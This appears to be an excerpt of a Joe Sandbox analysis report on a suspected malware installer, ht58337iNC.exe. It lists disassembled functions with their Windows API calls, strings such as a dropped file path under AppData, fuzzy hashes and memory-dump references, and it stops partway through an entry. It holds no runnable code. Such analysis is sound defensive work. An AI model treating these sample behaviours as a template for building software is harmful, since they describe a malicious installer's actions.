Associated: 00000000.00000002.2221511965.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221788631.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ht58337iNC.jbxd

Similarity

API ID: Char$Next$Prev
String ID: "C:\Users\user\Desktop\ht58337iNC.exe"$*?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-354803942
Opcode ID: beead49ce65fad8369d40c55e1945ba00e1ab41150cab7c26a3550435dbf32aa
Instruction ID: f5504631107e1e3793a073f133b65ff293a0897d7111eb10bd5d41781883406d
Opcode Fuzzy Hash: beead49ce65fad8369d40c55e1945ba00e1ab41150cab7c26a3550435dbf32aa
Instruction Fuzzy Hash: B611C42690061295DB303B558C84AB762F8EF54750F56843FED86B32D0EB7C9CA2C6ED

Function 00404180 Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 0040419D
GetSysColor.USER32(00000000), ref: 004041B9
SetTextColor.GDI32(?,00000000), ref: 004041C5
SetBkMode.GDI32(?,?), ref: 004041D1
GetSysColor.USER32(?), ref: 004041E4
SetBkColor.GDI32(?,?), ref: 004041F4
DeleteObject.GDI32(?), ref: 0040420E
CreateBrushIndirect.GDI32(?), ref: 00404218

Memory Dump Source

Source File: 00000000.00000002.2221492272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2221471001.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221511965.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221788631.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ht58337iNC.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: 1be7c14e932793da5b7e12cfd745236bd09d54aa5f4605660dea7ebeed684375
Instruction ID: dec6db0c7b043789455d5ba444b9f0b4b6699da27fefac44a21b5edf9a5b929b
Opcode Fuzzy Hash: 1be7c14e932793da5b7e12cfd745236bd09d54aa5f4605660dea7ebeed684375
Instruction Fuzzy Hash: E321C3B1500704ABCB219F68EE08B4BBBF8AF40710F04896DF996F66A0C734E944CB64

Function 004025E5 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 151fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,?,?,?), ref: 0040264D
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,00000001), ref: 00402688
SetFilePointer.KERNEL32(?,?,?,00000001,?,00000008,?,?,?,00000001), ref: 004026AB
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,00000001,?,00000001,?,00000008,?,?,?,00000001), ref: 004026C1

Part of subcall function 00405D0B: SetFilePointer.KERNEL32(?,00000000,00000000,00000001), ref: 00405D21

SetFilePointer.KERNEL32(?,?,?,00000001,?,?,00000002), ref: 0040276D

Strings

9, xrefs: 00402630

Memory Dump Source

Source File: 00000000.00000002.2221492272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2221471001.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221511965.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221788631.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ht58337iNC.jbxd

Similarity

API ID: File$Pointer$ByteCharMultiWide$Read
String ID: 9
API String ID: 163830602-2366072709
Opcode ID: 1e0cadf04f88ccade5697334c954c2e9868fb264b6ac47f65209ed57e79425ed
Instruction ID: c11c119823ef092d14edb4d445d1eebecf1e4ba29e3308019af08aa6c5ad61e3
Opcode Fuzzy Hash: 1e0cadf04f88ccade5697334c954c2e9868fb264b6ac47f65209ed57e79425ed
Instruction Fuzzy Hash: 43510874D00219AADF209F94CA88ABEB779FF04344F50447BE501B72E0D7B99D42DB69

Function 00404A7E Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404A99
GetMessagePos.USER32 ref: 00404AA1
ScreenToClient.USER32(?,?), ref: 00404ABB
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404ACD
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404AF3

Strings

f, xrefs: 00404ACF

Memory Dump Source

Source File: 00000000.00000002.2221492272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2221471001.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221511965.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221788631.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ht58337iNC.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: 96292700c6c1febd080c169329d2e770bb4f6d3abf554412e323a865936e6816
Instruction ID: 4e6aff0cdf26a8240c2caa3ab5eae10a4373f49143cb0f782fa754f2c80184c8
Opcode Fuzzy Hash: 96292700c6c1febd080c169329d2e770bb4f6d3abf554412e323a865936e6816
Instruction Fuzzy Hash: AE015E71A40219BADB00DB94DD85FFEBBBCAF55711F10012BBA51B61D0C7B49A058BA4

Function 00402D04 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402D22
MulDiv.KERNEL32(00077BDC,00000064,00078348), ref: 00402D4D
wsprintfW.USER32 ref: 00402D5D
SetWindowTextW.USER32(?,?), ref: 00402D6D
SetDlgItemTextW.USER32(?,00000406,?), ref: 00402D7F

Strings

verifying installer: %d%%, xrefs: 00402D57

Memory Dump Source

Source File: 00000000.00000002.2221492272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2221471001.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221511965.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221788631.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ht58337iNC.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: afeae77a0bcb9b30cd304cf262a1d5eea60d0cf7f315b1f8058d570c1e4d3d01
Instruction ID: 97815700fdd75a8fa64cd4b2fc5eb6b0a03b286ae4c71c47182b2025913274cc
Opcode Fuzzy Hash: afeae77a0bcb9b30cd304cf262a1d5eea60d0cf7f315b1f8058d570c1e4d3d01
Instruction Fuzzy Hash: 1801447060020DBFEF249F61DE49FEA3B69AB04304F008039FA45B91D0DBB889558F58

Function 00402840 Relevance: 9.1, APIs: 6, Instructions: 86memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000), ref: 00402894
GlobalAlloc.KERNEL32(00000040,?,00000000,?), ref: 004028B0
GlobalFree.KERNEL32(?), ref: 004028E9
GlobalFree.KERNEL32(00000000), ref: 004028FC
CloseHandle.KERNEL32(?), ref: 00402914
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000), ref: 00402928

Memory Dump Source

Source File: 00000000.00000002.2221492272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2221471001.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221511965.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221788631.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ht58337iNC.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: 93673c575230451abb0308dee03947b91720819ab8eaafde2c5768f7b1eff422
Instruction ID: bba7bc1bbfa323a43f965ccea5c6d76089a10f976336bb633e0bf1cd6394a54a
Opcode Fuzzy Hash: 93673c575230451abb0308dee03947b91720819ab8eaafde2c5768f7b1eff422
Instruction Fuzzy Hash: E1219E72800114BBDF216FA5CE49D9E7EB9EF09324F24023AF550762E1C7795E41DBA8

Function 0040237B Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71registrystringCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.ADVAPI32(00000000,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004023B9
lstrlenW.KERNEL32(Copy to C:\Users\user\AppData\Local\forsigtighedens\mandatoriness.sup,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 004023D9
RegSetValueExW.ADVAPI32(?,?,?,?,Copy to C:\Users\user\AppData\Local\forsigtighedens\mandatoriness.sup,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 00402415
RegCloseKey.ADVAPI32(?,?,?,Copy to C:\Users\user\AppData\Local\forsigtighedens\mandatoriness.sup,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024F6

Strings

Copy to C:\Users\user\AppData\Local\forsigtighedens\mandatoriness.sup, xrefs: 004023CA, 004023D8, 004023EF, 004023FF, 0040240A

Memory Dump Source

Source File: 00000000.00000002.2221492272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2221471001.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221511965.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221788631.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ht58337iNC.jbxd

Similarity

API ID: CloseCreateValuelstrlen
String ID: Copy to C:\Users\user\AppData\Local\forsigtighedens\mandatoriness.sup
API String ID: 1356686001-2582623524
Opcode ID: 8d1fa541b4be6473b4eebec5251f87ec0d75fe525894c7cf72dd691243c30abf
Instruction ID: e0a93677b1043ce4e8fea40acd1fa81b7363c56b112b112c42ce1ea238d19e9d
Opcode Fuzzy Hash: 8d1fa541b4be6473b4eebec5251f87ec0d75fe525894c7cf72dd691243c30abf
Instruction Fuzzy Hash: 87118E71A00108BFEB10AFA5DE89EAEB67DEB44358F11403AF904B61D1D7B85E409668

Function 00402537 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 67stringCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(?,?,Copy to C:\Users\user\AppData\Local\forsigtighedens\mandatoriness.sup,000000FF,C:\Users\user\AppData\Local\forsigtighedens\mandatoriness.sup,00000400,?,?,00000021), ref: 00402583
lstrlenA.KERNEL32(C:\Users\user\AppData\Local\forsigtighedens\mandatoriness.sup,?,?,Copy to C:\Users\user\AppData\Local\forsigtighedens\mandatoriness.sup,000000FF,C:\Users\user\AppData\Local\forsigtighedens\mandatoriness.sup,00000400,?,?,00000021), ref: 0040258E

Strings

Copy to C:\Users\user\AppData\Local\forsigtighedens\mandatoriness.sup, xrefs: 0040257C
C:\Users\user\AppData\Local\forsigtighedens\mandatoriness.sup, xrefs: 00402552, 00402575, 00402589, 004025D5

Memory Dump Source

Source File: 00000000.00000002.2221492272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2221471001.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221511965.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221788631.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ht58337iNC.jbxd

Similarity

API ID: ByteCharMultiWidelstrlen
String ID: C:\Users\user\AppData\Local\forsigtighedens\mandatoriness.sup$Copy to C:\Users\user\AppData\Local\forsigtighedens\mandatoriness.sup
API String ID: 3109718747-3021031259
Opcode ID: bc4839eeef6b781b91a6a2a68c7a8cf26ec16e888e7c93ee1e46279ee911fc8b
Instruction ID: 733a5b8a3421de7103486a8e2fd1e7248c9e7ae9f3a69bb90da27b1d5488d101
Opcode Fuzzy Hash: bc4839eeef6b781b91a6a2a68c7a8cf26ec16e888e7c93ee1e46279ee911fc8b
Instruction Fuzzy Hash: E011EB71A01205BBDB10AF718F49A9F3265DF44754F24403BF501F61C2EAFC9D91566D

Function 00405683 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 39COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(?,0040A300,C:\Users\user\AppData\Local\Temp\), ref: 004056C6
GetLastError.KERNEL32 ref: 004056DA
SetFileSecurityW.ADVAPI32(?,80000007,00000001), ref: 004056EF
GetLastError.KERNEL32 ref: 004056F9

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 004056A9

Memory Dump Source

Source File: 00000000.00000002.2221492272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2221471001.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221511965.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221788631.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ht58337iNC.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 3449924974-3936084776
Opcode ID: 9e16c060b6dacf19867b3a219a4d1c108d16143e5081b661a232c151e35074dd
Instruction ID: b9d54522e8c2a6a11acfe34e4faeeda892d25e5cd719c7a25251d408d6c76708
Opcode Fuzzy Hash: 9e16c060b6dacf19867b3a219a4d1c108d16143e5081b661a232c151e35074dd
Instruction Fuzzy Hash: C8011A71D00619DBDF009FA0CA487EFBBB8EF14315F50443AD549B6190E7799604CFA9

Function 00402BFF Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00402C20
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402C5C
RegCloseKey.ADVAPI32(?), ref: 00402C65
RegCloseKey.ADVAPI32(?), ref: 00402C8A
RegDeleteKeyW.ADVAPI32(?,?), ref: 00402CA8

Memory Dump Source

Source File: 00000000.00000002.2221492272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2221471001.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221511965.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221788631.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ht58337iNC.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: 9537b7928c54e317f26638c763091e9991b3818ca9768273474462c6ff6c3974
Instruction ID: 923876515d334741f157c0c1a16b9ae25b0374e488e2a62f99a19aca1c1d50f8
Opcode Fuzzy Hash: 9537b7928c54e317f26638c763091e9991b3818ca9768273474462c6ff6c3974
Instruction Fuzzy Hash: 4B116A71504119BFEF10AF90DF8CEAE7B79FB54384B10003AF905A11A0D7B49E55AA28

Function 00401CFA Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401D00
GetClientRect.USER32(00000000,?), ref: 00401D0D
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 00401D2E
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 00401D3C
DeleteObject.GDI32(00000000), ref: 00401D4B

Memory Dump Source

Source File: 00000000.00000002.2221492272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2221471001.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221511965.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221788631.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ht58337iNC.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 1a74f2179679fb2cdf553b0348ac08105bc06b0e0a733d0f1a12f3a9490ff99b
Instruction ID: e4f3909cb7298d305a77c10ae8325f91f27f48586481a57425ae6c27891e8aa9
Opcode Fuzzy Hash: 1a74f2179679fb2cdf553b0348ac08105bc06b0e0a733d0f1a12f3a9490ff99b
Instruction Fuzzy Hash: 8AF0F472600504AFDB01DBE4DE88CEEBBBDEB48311B104476F501F51A1CA74DD018B38

Function 00401D56 Relevance: 7.5, APIs: 5, Instructions: 38COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401D59
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401D66
MulDiv.KERNEL32(00000000,00000002,00000000), ref: 00401D75
ReleaseDC.USER32(?,00000000), ref: 00401D86
CreateFontIndirectW.GDI32(0040CDF8), ref: 00401DD1

Memory Dump Source

Source File: 00000000.00000002.2221492272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2221471001.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221511965.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221788631.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ht58337iNC.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID:
API String ID: 3808545654-0
Opcode ID: 19b2d30e00b512fe454d1cbfc28b544df66b8b4a94fa99dfbc87282a1f03fb40
Instruction ID: 434465042c296b11fe85f1af20959402fdd5081aa20827676714b0861cca44ca
Opcode Fuzzy Hash: 19b2d30e00b512fe454d1cbfc28b544df66b8b4a94fa99dfbc87282a1f03fb40
Instruction Fuzzy Hash: C301A231544640EFE7015BB0EF8AB9A3F74AB66301F208579E581B62E2C9B800559BAE

Function 00404970 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(0042D268,0042D268,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404A11
wsprintfW.USER32 ref: 00404A1A
SetDlgItemTextW.USER32(?,0042D268), ref: 00404A2D

Strings

%u.%u%s%s, xrefs: 004049FB

Memory Dump Source

Source File: 00000000.00000002.2221492272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2221471001.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221511965.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221528666.000000000044D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221788631.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ht58337iNC.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: 7f196247ffa4f5a533f026148308de82019fe3f3f4a3a426db09a444c3bfa401
Instruction ID: def2e14d0b5e9bf745060eb8ff4f21dbd1799345f736686a8e00f38c04d15d9e
Opcode Fuzzy Hash: 7f196247ffa4f5a533f026148308de82019fe3f3f4a3a426db09a444c3bfa401
Instruction Fuzzy Hash: 3811EBB3A441287BDB10957D9C46EAF329C9B85374F250237FA65F31D1D978CC2182E8

Function 00405F22 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 45registryCOMMON

Download Yara Rule

APIs

